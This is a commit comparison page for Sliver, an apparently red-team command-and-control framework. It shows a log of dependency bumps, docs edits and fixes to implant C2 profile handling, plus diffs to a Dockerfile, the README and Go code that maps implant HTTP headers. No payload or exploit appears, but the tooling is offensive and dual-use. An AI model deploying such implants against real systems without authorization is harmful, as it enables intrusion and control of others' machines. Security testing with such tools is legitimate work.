Compare commits

...
Author SHA1 Message Date
Ronan Kervella 3faabd36c1 Merge branch 'master' into fix_missing_extension 2025-02-13 15:18:07 -08:00
Tim Makram Ghatas 2d9a46543d Keep track of file extension in implant config and automatically append correct extension when saving builds 2025-02-09 17:46:33 +01:00
Joe 2f486be19c Merge pull request #1872 from BishopFox/go/v1.23.5
Update to Go v1.23.5 and Garble v1.23.5
2025-02-05 10:56:03 -06:00
moloch-- 85868e5b8f Update to Go v1.23.5 and Garble v1.23.5 2025-01-29 11:28:42 -07:00
Joe 31c70938bd Merge pull request #1858 from BishopFox/48b9dependabot/go_modules/golang.org/x/net-0.33.0
Bump golang.org/x/net from 0.26.0 to 0.33.0
2025-01-21 11:07:27 -06:00
dependabot[bot] 63668f57b5 Bump golang.org/x/net from 0.26.0 to 0.33.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.26.0 to 0.33.0.
- [Commits](https://github.com/golang/net/compare/v0.26.0...v0.33.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-01-20 18:01:38 +00:00
Joe aefe6b31e9 Merge pull request #1854 from BishopFox/74eedependabot/go_modules/golang.org/x/crypto-0.32.0
Bump golang.org/x/crypto from 0.29.0 to 0.32.0
2025-01-20 12:00:00 -06:00
Joe f854af1134 Merge pull request #1855 from BishopFox/abide_generate_name
Abide generate name
2025-01-20 11:59:44 -06:00
Joe a9ef42a416 Merge branch 'master' into abide_generate_name 2025-01-20 11:03:14 -06:00
Joe 67c6140e6a Merge pull request #1857 from BishopFox/v1.6.0/download-refactor
Simplifying Implant Download Code
2025-01-20 11:02:33 -06:00
Raf 59352177eb Simplifying file downloads to address issue #1812 2025-01-17 12:30:49 -05:00
c2biz c9a624831a fix input bug to AllowedName in GenerateExternal() 2025-01-15 09:23:02 -05:00
c2biz ed64f2e0d2 fix bug ignoring supplied name for generate functions 2025-01-15 08:40:45 -05:00
dependabot[bot] 5f18609ed7 Bump golang.org/x/crypto from 0.29.0 to 0.32.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.29.0 to 0.32.0.
- [Commits](https://github.com/golang/crypto/compare/v0.29.0...v0.32.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-01-13 03:30:28 +00:00
Timothy Makram Ghatas 53c61cb024 Merge pull request #1844 from w4lle-code/fix_c2profile_import_overwrite_url_parameters
fix to import overwrite c2Profile to url_parameters
2025-01-07 16:25:50 +01:00
Timothy Makram Ghatas 3d70247f8b Update httpclient.go - use updated uri for debug logs
Signed-off-by: Timothy Makram Ghatas <[email protected]>
2025-01-07 15:33:29 +01:00
Timothy Makram Ghatas 52b1c7b93b Merge branch 'master' into fix_c2profile_import_overwrite_url_parameters 2025-01-07 14:57:24 +01:00
Timothy Makram Ghatas daeb463f77 Update httpclient.go
add check for method in implant httpclient

Signed-off-by: Timothy Makram Ghatas <[email protected]>
2025-01-07 14:46:32 +01:00
Joe 0c75f70a1d Merge pull request #1847 from BishopFox/404ddependabot/npm_and_yarn/docs/sliver-docs/next-14.2.22
Bump next from 14.2.20 to 14.2.22 in /docs/sliver-docs
2025-01-06 13:41:51 -06:00
AndresFelipeGualdron 674df112a4 adding method of url parameter in template 2025-01-04 20:12:10 -05:00
AndresFelipeGualdron 26efc776c7 fix to import no overwrite c2Profile 2025-01-03 22:32:53 -05:00
dependabot[bot] f221dc95cf Bump next from 14.2.20 to 14.2.22 in /docs/sliver-docs
Bumps [next](https://github.com/vercel/next.js) from 14.2.20 to 14.2.22.
- [Release notes](https://github.com/vercel/next.js/releases)
- [Changelog](https://github.com/vercel/next.js/blob/canary/release.js)
- [Commits](https://github.com/vercel/next.js/compare/v14.2.20...v14.2.22)

---
updated-dependencies:
- dependency-name: next
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-01-04 02:59:04 +00:00
AndresFelipeGualdron 187fc6acd2 fix to import overwrite c2Profile to url_parameters 2025-01-03 12:01:42 -05:00
Joe 9ecb68f6a3 Merge pull request #1841 from BishopFox/fix_c2profile_display
fix broken pr for http headers and add additional constraints for c2p…
2025-01-02 20:42:29 -06:00
Tim Makram Ghatas f0113655ce fix broken pr for http headers and add additional constraints for c2profile import 2025-01-02 14:53:31 +01:00
Joe 31265c626b Merge pull request #1836 from BishopFox/b3f8dependabot/npm_and_yarn/docs/sliver-docs/next-14.2.20
Bump next from 14.2.12 to 14.2.20 in /docs/sliver-docs
2024-12-18 15:26:49 -06:00
dependabot[bot] e2603ac3ae Bump next from 14.2.12 to 14.2.20 in /docs/sliver-docs
Bumps [next](https://github.com/vercel/next.js) from 14.2.12 to 14.2.20.
- [Release notes](https://github.com/vercel/next.js/releases)
- [Changelog](https://github.com/vercel/next.js/blob/canary/release.js)
- [Commits](https://github.com/vercel/next.js/compare/v14.2.12...v14.2.20)

---
updated-dependencies:
- dependency-name: next
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-12-18 19:02:18 +00:00
Ronan Kervella 7acbed9637 Merge pull request #1724 from BishopFox/4ddedependabot/go_modules/gorm.io/driver/postgres-1.5.9
Bump gorm.io/driver/postgres from 1.5.7 to 1.5.9
2024-12-03 10:33:02 -10:00
Ronan Kervella 20786fa6fb Merge branch 'master' into 4ddedependabot/go_modules/gorm.io/driver/postgres-1.5.9
Signed-off-by: Ronan Kervella <[email protected]>
2024-12-03 10:34:33 -08:00
Ronan Kervella 03c750a8b5 Merge pull request #1741 from BishopFox/378ddependabot/go_modules/gorm.io/driver/mysql-1.5.7
Bump gorm.io/driver/mysql from 1.5.6 to 1.5.7
2024-12-03 10:30:21 -08:00
Ronan Kervella 4da8c6053f Merge branch 'master' into 4ddedependabot/go_modules/gorm.io/driver/postgres-1.5.9 2024-12-02 16:12:23 -08:00
Ronan Kervella a43061c61b Merge branch 'master' into 378ddependabot/go_modules/gorm.io/driver/mysql-1.5.7 2024-12-02 15:40:49 -08:00
Ronan Kervella 11dc6bac4d Merge pull request #1824 from BishopFox/b42adependabot/go_modules/github.com/ncruces/go-sqlite3-0.20.3
Bump github.com/ncruces/go-sqlite3 from 0.15.0 to 0.20.3
2024-12-02 15:39:58 -08:00
dependabot[bot] 7d5a886397 Bump github.com/ncruces/go-sqlite3 from 0.15.0 to 0.20.3
Bumps [github.com/ncruces/go-sqlite3](https://github.com/ncruces/go-sqlite3) from 0.15.0 to 0.20.3.
- [Release notes](https://github.com/ncruces/go-sqlite3/releases)
- [Commits](https://github.com/ncruces/go-sqlite3/compare/v0.15.0...v0.20.3)

---
updated-dependencies:
- dependency-name: github.com/ncruces/go-sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-12-02 03:42:38 +00:00
Joe 77aef8179d Merge branch 'master' into 4ddedependabot/go_modules/gorm.io/driver/postgres-1.5.9 2024-11-25 10:28:39 -06:00
Joe 69e7c8ce71 Merge pull request #1811 from rwincey/c2_profile_headers_fix
Fixed implant custom HTTP header code
2024-11-11 14:40:00 -06:00
b0yd 82e294e3ef Gofmt 2024-11-06 15:40:48 +00:00
b0yd ccf3701011 Fixed implant custom HTTP header code 2024-11-06 15:26:40 +00:00
Joe e4b64e1050 Merge pull request #1800 from toasted-time-traveller/fix-wording
Added a missing word and a missing period.
2024-10-30 12:19:52 -05:00
Joe 0b8f702aa0 Merge pull request #1787 from An00bRektn/master
Update link in Community Guides section of docs
2024-10-30 12:19:14 -05:00
Ronan Kervella 8caf90536b Merge branch 'master' into master 2024-10-30 08:27:08 -07:00
toasted-time-traveller 50e7d89576 Added the missing word 'at' to the note section and a period to the 'Feedback' section in README 2024-10-23 03:38:28 +02:00
Joe fe5e9382d7 Merge pull request #1796 from AD2011/patch-1
Correct Windows compile command
2024-10-17 10:40:53 -05:00
Abir Dey 934c01f08d Correct Windows compile command
Signed-off-by: Abir Dey <[email protected]>
2024-10-17 14:17:28 +05:30
An00bRektn 4ced15e528 Changed link to point to updated location 2024-10-04 17:14:39 -05:00
Joe 3c151ed172 Merge pull request #1784 from BishopFox/docs/community-guides
Add detecting sliver c2 with zeek to community guides
2024-09-29 17:04:22 -05:00
moloch-- dd09895d7e Add detecting sliver c2 with zeek to community guides 2024-09-26 13:02:06 -04:00
Joe 3dd2b2ddce Merge pull request #1779 from AFrenchBanana/fix/DuplicateWord
Removed duplicate word from help menu
2024-09-22 13:28:01 -05:00
Joe e4027d6373 Merge pull request #1780 from BishopFox/7953dependabot/npm_and_yarn/docs/sliver-docs/next-14.2.12
Bump next from 14.2.3 to 14.2.12 in /docs/sliver-docs
2024-09-19 09:40:59 -05:00
dependabot[bot] 7e880d33c7 Bump next from 14.2.3 to 14.2.12 in /docs/sliver-docs
Bumps [next](https://github.com/vercel/next.js) from 14.2.3 to 14.2.12.
- [Release notes](https://github.com/vercel/next.js/releases)
- [Changelog](https://github.com/vercel/next.js/blob/canary/release.js)
- [Commits](https://github.com/vercel/next.js/compare/v14.2.3...v14.2.12)

---
updated-dependencies:
- dependency-name: next
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-09-18 02:47:07 +00:00
ryan dodd 356b17160e Removed duplicate word from comment 2024-09-17 21:34:09 +01:00
Joe 9a9b0c74ba Merge pull request #1763 from BishopFox/1cbddependabot/go_modules/github.com/tetratelabs/wazero-1.8.0
Bump github.com/tetratelabs/wazero from 1.7.2 to 1.8.0
2024-09-07 15:39:38 -05:00
Joe dbde661d90 Merge pull request #1772 from BishopFox/2e71dependabot/npm_and_yarn/docs/sliver-docs/micromatch-4.0.8
Bump micromatch from 4.0.5 to 4.0.8 in /docs/sliver-docs
2024-09-07 15:15:50 -05:00
dependabot[bot] 8904267cad Bump micromatch from 4.0.5 to 4.0.8 in /docs/sliver-docs
Bumps [micromatch](https://github.com/micromatch/micromatch) from 4.0.5 to 4.0.8.
- [Release notes](https://github.com/micromatch/micromatch/releases)
- [Changelog](https://github.com/micromatch/micromatch/blob/master/CHANGELOG.md)
- [Commits](https://github.com/micromatch/micromatch/compare/4.0.5...4.0.8)

---
updated-dependencies:
- dependency-name: micromatch
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-09-07 10:28:02 +00:00
Joe c58cb2d4e7 Merge pull request #1765 from BishopFox/go/v1.22.5
Go 1.22.5, Zig 0.13.0
2024-08-23 13:47:48 -05:00
moloch-- cf971ea599 Go 1.22.5, Zig 0.13.0 2024-08-23 10:26:52 -07:00
Ronan Kervella 71c922c914 Merge pull request #1762 from martinboca/docs/fix-typos
fixed typos in docs
2024-08-20 11:04:40 -07:00
dependabot[bot] 3607b526f0 Bump github.com/tetratelabs/wazero from 1.7.2 to 1.8.0
Bumps [github.com/tetratelabs/wazero](https://github.com/tetratelabs/wazero) from 1.7.2 to 1.8.0.
- [Release notes](https://github.com/tetratelabs/wazero/releases)
- [Commits](https://github.com/tetratelabs/wazero/compare/v1.7.2...v1.8.0)

---
updated-dependencies:
- dependency-name: github.com/tetratelabs/wazero
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-08-19 03:25:13 +00:00
Martín Bocanegra 1c87e8134c fixed typos 2024-08-18 21:40:11 -03:00
Ronan Kervella 2a849312cc Merge branch 'master' into 378ddependabot/go_modules/gorm.io/driver/mysql-1.5.7 2024-07-31 13:21:26 -07:00
Ronan Kervella 127caf54ae Merge pull request #1740 from BishopFox/e942dependabot/go_modules/golang.org/x/crypto-0.25.0
Bump golang.org/x/crypto from 0.24.0 to 0.25.0
2024-07-31 13:21:13 -07:00
Ronan Kervella 5902f4b02d Merge branch 'master' into e942dependabot/go_modules/golang.org/x/crypto-0.25.0 2024-07-31 12:08:33 -07:00
Joe 40dfa95291 Merge pull request #1752 from BishopFox/wiki_1.6_update
Wiki 1.6 update
2024-07-22 16:31:31 -05:00
Tim Makram Ghatas b8cef5fbd6 removed broken links from chapter 7 and added disclaimer to all pages 2024-07-22 21:26:49 +02:00
Tim Makram Ghatas eed6890700 update tutorial text and add 1.6 disclaimer 2024-07-22 20:14:34 +02:00
Tim Makram Ghatas 36e0c71b10 Merge branch 'master' into wiki_1.6_update 2024-07-22 19:50:58 +02:00
dependabot[bot] 1bf020c594 Bump gorm.io/driver/mysql from 1.5.6 to 1.5.7
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.5.6 to 1.5.7.
- [Commits](https://github.com/go-gorm/mysql/compare/v1.5.6...v1.5.7)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-07-18 18:08:17 +00:00
dependabot[bot] 072111a692 Bump golang.org/x/crypto from 0.24.0 to 0.25.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.24.0 to 0.25.0.
- [Commits](https://github.com/golang/crypto/compare/v0.24.0...v0.25.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-07-18 18:08:15 +00:00
Joe 2cd7a96324 Merge pull request #1743 from BishopFox/49f9dependabot/go_modules/google.golang.org/grpc-1.64.1
Bump google.golang.org/grpc from 1.64.0 to 1.64.1
2024-07-18 13:05:58 -05:00
Joe d8ff64222d Merge pull request #1751 from BishopFox/v1.6.0/remove-msf-stager
Removing generate msf-stager command
2024-07-18 13:03:49 -05:00
Raf 0deaee625d Removing generate msf-stager command
Removing the generate msf-stager command and adding documentation on how to use msfvenom / msfconsole to generate stager binaries.
2024-07-18 13:14:16 -04:00
Ronan Kervella bdfd89167d Merge pull request #1737 from lip234/master
Fixes #1736
2024-07-11 10:53:34 -07:00
dependabot[bot] 6b35032c0e Bump google.golang.org/grpc from 1.64.0 to 1.64.1
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.64.0 to 1.64.1.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.64.0...v1.64.1)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-07-09 21:45:35 +00:00
lip234 8bf4f8ef02 Fixes #1736
Fixes issue in the implant where `ps` command leads to infinite loop on Darwin under certain conditions.
2024-07-08 13:35:30 -06:00
Ronan Kervella 7676fc6c37 Merge pull request #1720 from BishopFox/9d54dependabot/npm_and_yarn/docs/sliver-docs/braces-3.0.3
Bump braces from 3.0.2 to 3.0.3 in /docs/sliver-docs
2024-07-03 10:05:45 -07:00
Ronan Kervella d2ff8dca46 Merge branch 'master' into 9d54dependabot/npm_and_yarn/docs/sliver-docs/braces-3.0.3 2024-07-02 15:09:08 -07:00
Ronan Kervella 9c3d7abff5 Merge pull request #1723 from BishopFox/b71edependabot/go_modules/modernc.org/sqlite-1.30.1
Bump modernc.org/sqlite from 1.30.0 to 1.30.1
2024-07-02 15:08:41 -07:00
Ronan Kervella 4df4e21255 Merge branch 'master' into b71edependabot/go_modules/modernc.org/sqlite-1.30.1 2024-07-02 12:59:33 -07:00
Ronan Kervella 3fdde93255 Merge pull request #1733 from BishopFox/2d74dependabot/go_modules/github.com/spf13/cobra-1.8.1
Bump github.com/spf13/cobra from 1.8.0 to 1.8.1
2024-07-02 12:59:14 -07:00
dependabot[bot] 65a7faebd5 Bump github.com/spf13/cobra from 1.8.0 to 1.8.1
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.8.0 to 1.8.1.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.8.0...v1.8.1)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-07-01 03:57:53 +00:00
Ronan Kervella c3b0909be0 Merge branch 'master' into 4ddedependabot/go_modules/gorm.io/driver/postgres-1.5.9 2024-06-28 11:10:57 -07:00
Ronan Kervella 641361d7c3 Merge pull request #1722 from BishopFox/cacfdependabot/go_modules/github.com/klauspost/compress-1.17.9
Bump github.com/klauspost/compress from 1.17.8 to 1.17.9
2024-06-28 10:44:17 -07:00
dependabot[bot] 4a149f073a Bump gorm.io/driver/postgres from 1.5.7 to 1.5.9
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.5.7 to 1.5.9.
- [Commits](https://github.com/go-gorm/postgres/compare/v1.5.7...v1.5.9)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-06-17 03:11:56 +00:00
dependabot[bot] ba43b3fd4b Bump modernc.org/sqlite from 1.30.0 to 1.30.1
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.30.0 to 1.30.1.
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.30.0...v1.30.1)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-06-17 03:11:48 +00:00
dependabot[bot] 5c2314702b Bump github.com/klauspost/compress from 1.17.8 to 1.17.9
Bumps [github.com/klauspost/compress](https://github.com/klauspost/compress) from 1.17.8 to 1.17.9.
- [Release notes](https://github.com/klauspost/compress/releases)
- [Changelog](https://github.com/klauspost/compress/blob/master/.goreleaser.yml)
- [Commits](https://github.com/klauspost/compress/compare/v1.17.8...v1.17.9)

---
updated-dependencies:
- dependency-name: github.com/klauspost/compress
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-06-17 03:11:31 +00:00
Joe 3051de7a61 Merge pull request #1711 from BishopFox/8a2bdependabot/go_modules/golang.org/x/crypto-0.24.0
Bump golang.org/x/crypto from 0.23.0 to 0.24.0
2024-06-15 12:11:12 -05:00
dependabot[bot] 1abf8e54c3 Bump braces from 3.0.2 to 3.0.3 in /docs/sliver-docs
Bumps [braces](https://github.com/micromatch/braces) from 3.0.2 to 3.0.3.
- [Changelog](https://github.com/micromatch/braces/blob/master/CHANGELOG.md)
- [Commits](https://github.com/micromatch/braces/compare/3.0.2...3.0.3)

---
updated-dependencies:
- dependency-name: braces
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-06-15 17:10:59 +00:00
Joe 93624cdb2d Merge pull request #1712 from BishopFox/e733dependabot/go_modules/modernc.org/sqlite-1.30.0
Bump modernc.org/sqlite from 1.29.10 to 1.30.0
2024-06-15 12:10:24 -05:00
dependabot[bot] a7c6ea1f43 Bump modernc.org/sqlite from 1.29.10 to 1.30.0
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.29.10 to 1.30.0.
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.29.10...v1.30.0)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-06-10 03:32:41 +00:00
dependabot[bot] f23093c3a9 Bump golang.org/x/crypto from 0.23.0 to 0.24.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.23.0 to 0.24.0.
- [Commits](https://github.com/golang/crypto/compare/v0.23.0...v0.24.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-06-10 03:31:01 +00:00
Ronan Kervella 6f4a150d82 Merge pull request #1705 from BishopFox/autoremove_socks_proxies
autoremove socks proxies
2024-06-03 09:31:59 -07:00
Tim Makram Ghatas 6790cd1647 automatically remove socks proxies during a kill/close command for a session 2024-06-02 15:06:38 +02:00
Joe 05408ef4ea Merge pull request #1700 from BishopFox/0850dependabot/go_modules/tailscale.com-1.66.4
Bump tailscale.com from 1.66.3 to 1.66.4
2024-05-31 10:41:32 -05:00
Joe 2bc3fe8a57 Merge pull request #1704 from BishopFox/improve_socks_menu
Improve socks menu
2024-05-31 10:40:48 -05:00
Joe 015942a1e4 Merge pull request #1703 from BishopFox/implement_clean_command
Implement clean command
2024-05-31 10:40:00 -05:00
Tim Makram Ghatas 321da76fd9 add server command to list/stop socks proxies and modify implant socks command to only display proxies for the currently selected session 2024-05-31 12:41:29 +02:00
Tim Makram Ghatas 2407b4dd2e remove profiles and implants. Beacons are just removed instead of killing them. 2024-05-31 12:10:49 +02:00
Tim Makram Ghatas ea06daa5ac add clean command and function definitions 2024-05-31 11:46:54 +02:00
dependabot[bot] f67b08768d Bump tailscale.com from 1.66.3 to 1.66.4
Bumps [tailscale.com](https://github.com/tailscale/tailscale) from 1.66.3 to 1.66.4.
- [Release notes](https://github.com/tailscale/tailscale/releases)
- [Commits](https://github.com/tailscale/tailscale/compare/v1.66.3...v1.66.4)

---
updated-dependencies:
- dependency-name: tailscale.com
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-05-27 03:35:03 +00:00
Joe d0e5fbb680 Merge pull request #1693 from BishopFox/981ddependabot/go_modules/google.golang.org/grpc-1.64.0
Bump google.golang.org/grpc from 1.63.2 to 1.64.0
2024-05-22 13:48:45 -05:00
dependabot[bot] 6dd56bbfd5 Bump google.golang.org/grpc from 1.63.2 to 1.64.0
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.63.2 to 1.64.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.63.2...v1.64.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-05-22 15:47:44 +00:00
Joe 8f15f896ac Merge pull request #1697 from BishopFox/1071dependabot/go_modules/modernc.org/sqlite-1.29.10
Bump modernc.org/sqlite from 1.29.9 to 1.29.10
2024-05-22 10:46:17 -05:00
Joe a0706ffc1f Merge pull request #1699 from BishopFox/fix_externalbuild_encoderids
send encoder id's to external server during external implant generation
2024-05-22 09:40:30 -05:00
Ronan Kervella 550700de98 Merge branch 'master' into fix_externalbuild_encoderids 2024-05-22 06:49:01 -07:00
dependabot[bot] 652d960d59 Bump modernc.org/sqlite from 1.29.9 to 1.29.10
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.29.9 to 1.29.10.
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.29.9...v1.29.10)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-05-21 21:39:28 +00:00
Ronan Kervella 292f41c665 Merge pull request #1696 from BishopFox/b516dependabot/go_modules/github.com/tetratelabs/wazero-1.7.2
Bump github.com/tetratelabs/wazero from 1.7.1 to 1.7.2
2024-05-21 14:32:56 -07:00
dependabot[bot] ef324e8b9d Bump github.com/tetratelabs/wazero from 1.7.1 to 1.7.2
Bumps [github.com/tetratelabs/wazero](https://github.com/tetratelabs/wazero) from 1.7.1 to 1.7.2.
- [Release notes](https://github.com/tetratelabs/wazero/releases)
- [Commits](https://github.com/tetratelabs/wazero/compare/v1.7.1...v1.7.2)

---
updated-dependencies:
- dependency-name: github.com/tetratelabs/wazero
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-05-21 17:09:18 +00:00
Joe a405ae8f20 Merge pull request #1694 from BishopFox/e220dependabot/go_modules/tailscale.com-1.66.3
Bump tailscale.com from 1.64.2 to 1.66.3
2024-05-21 12:08:00 -05:00
Ronan Kervella 222cc3437b Merge branch 'master' into e220dependabot/go_modules/tailscale.com-1.66.3 2024-05-21 08:35:08 -07:00
Ronan Kervella fdeca972bd Merge pull request #1692 from BishopFox/generate_c2profiles
improve c2profiles command
2024-05-20 15:30:59 -07:00
Tim Makram Ghatas 69bcf72e80 send encoder id's to external server during external implant generation 2024-05-21 00:04:33 +02:00
Ronan Kervella c6397918c6 Merge branch 'master' into e220dependabot/go_modules/tailscale.com-1.66.3 2024-05-20 11:02:00 -07:00
dependabot[bot] 53449c1a83 Bump tailscale.com from 1.64.2 to 1.66.3
Bumps [tailscale.com](https://github.com/tailscale/tailscale) from 1.64.2 to 1.66.3.
- [Release notes](https://github.com/tailscale/tailscale/releases)
- [Commits](https://github.com/tailscale/tailscale/compare/v1.64.2...v1.66.3)

---
updated-dependencies:
- dependency-name: tailscale.com
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-05-20 03:37:15 +00:00
Tim Makram Ghatas fb1e59ef5a update http payload staging tutorial 2024-05-04 09:48:46 +02:00
Tim Makram Ghatas a1318f1061 Merge branch 'master' into wiki_1.6_update 2024-05-03 10:39:03 +02:00
Tim Makram Ghatas 9543951747 update http payload staging wiki 2024-05-02 23:02:28 +02:00
Tim Makram Ghatas 0926339482 update http staging wiki page 2024-05-02 20:10:59 +02:00
Tim Makram Ghatas 7f60e133dc update tutorial first three chapters with asciinema and fix markdown loading issue 2024-05-02 18:58:09 +02:00
Tim Makram Ghatas ba3893980d Merge branch 'master' into wiki_1.6_update 2024-05-02 09:25:13 +02:00
Tim Makram Ghatas 363f59d276 Add first draft tutorial draft for 1.6 2024-05-02 09:21:29 +02:00
828 changed files with 384172 additions and 181119 deletions

No files matched your search

+3 -3
View File
@@ -9,7 +9,7 @@
# STAGE: base
## Compiles Sliver for use
FROM golang:1.22.2 as base
FROM golang:1.23.5 AS base
### Base packages
RUN apt-get update --fix-missing && apt-get -y install \
@@ -29,7 +29,7 @@ RUN cp -vv sliver-server /opt/sliver-server
# STAGE: test
## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage
FROM base as test
FROM base AS test
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
@@ -43,7 +43,7 @@ RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# STAGE: production
## Final dockerized form of Sliver
FROM debian:bookworm-slim as production
FROM debian:bookworm-slim AS production
### Install production packages
RUN apt-get update --fix-missing \
+2 -2
View File
@@ -8,7 +8,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
# v1.6.0 / `master`
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
**NOTE:** You are looking at the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
@@ -47,7 +47,7 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6).
### License - GPLv3
+1 -1
View File
@@ -35,7 +35,7 @@ type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
Methods []string
Method string `json:"method"`
}
// HTTPC2ImplantConfig - Implant configuration options
+28 -10
View File
@@ -292,6 +292,7 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
Method: header.Method,
})
}
implantConfig.Headers = headers
@@ -358,6 +359,7 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
Method: header.Method,
})
}
@@ -453,6 +455,24 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
})
}
for _, clientHeader := range config.ImplantConfig.Headers {
httpC2Headers = append(httpC2Headers, &clientpb.HTTPC2Header{
Method: clientHeader.Method,
Name: clientHeader.Name,
Value: clientHeader.Value,
Probability: int32(clientHeader.Probability),
})
}
for _, urlParameter := range config.ImplantConfig.URLParameters {
httpC2UrlParameters = append(httpC2UrlParameters, &clientpb.HTTPC2URLParameter{
Method: urlParameter.Method,
Name: urlParameter.Name,
Value: urlParameter.Value,
Probability: int32(urlParameter.Probability),
})
}
implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
@@ -475,14 +495,12 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
// Server Config
serverHeaders := []*clientpb.HTTPC2Header{}
for _, serverHeader := range config.ServerConfig.Headers {
for _, method := range serverHeader.Methods {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
}
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: serverHeader.Method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
}
serverCookies := []*clientpb.HTTPC2Cookie{}
@@ -525,7 +543,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
var serverHeaders []string
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, header.Value)
serverHeaders = append(serverHeaders, header.Name)
}
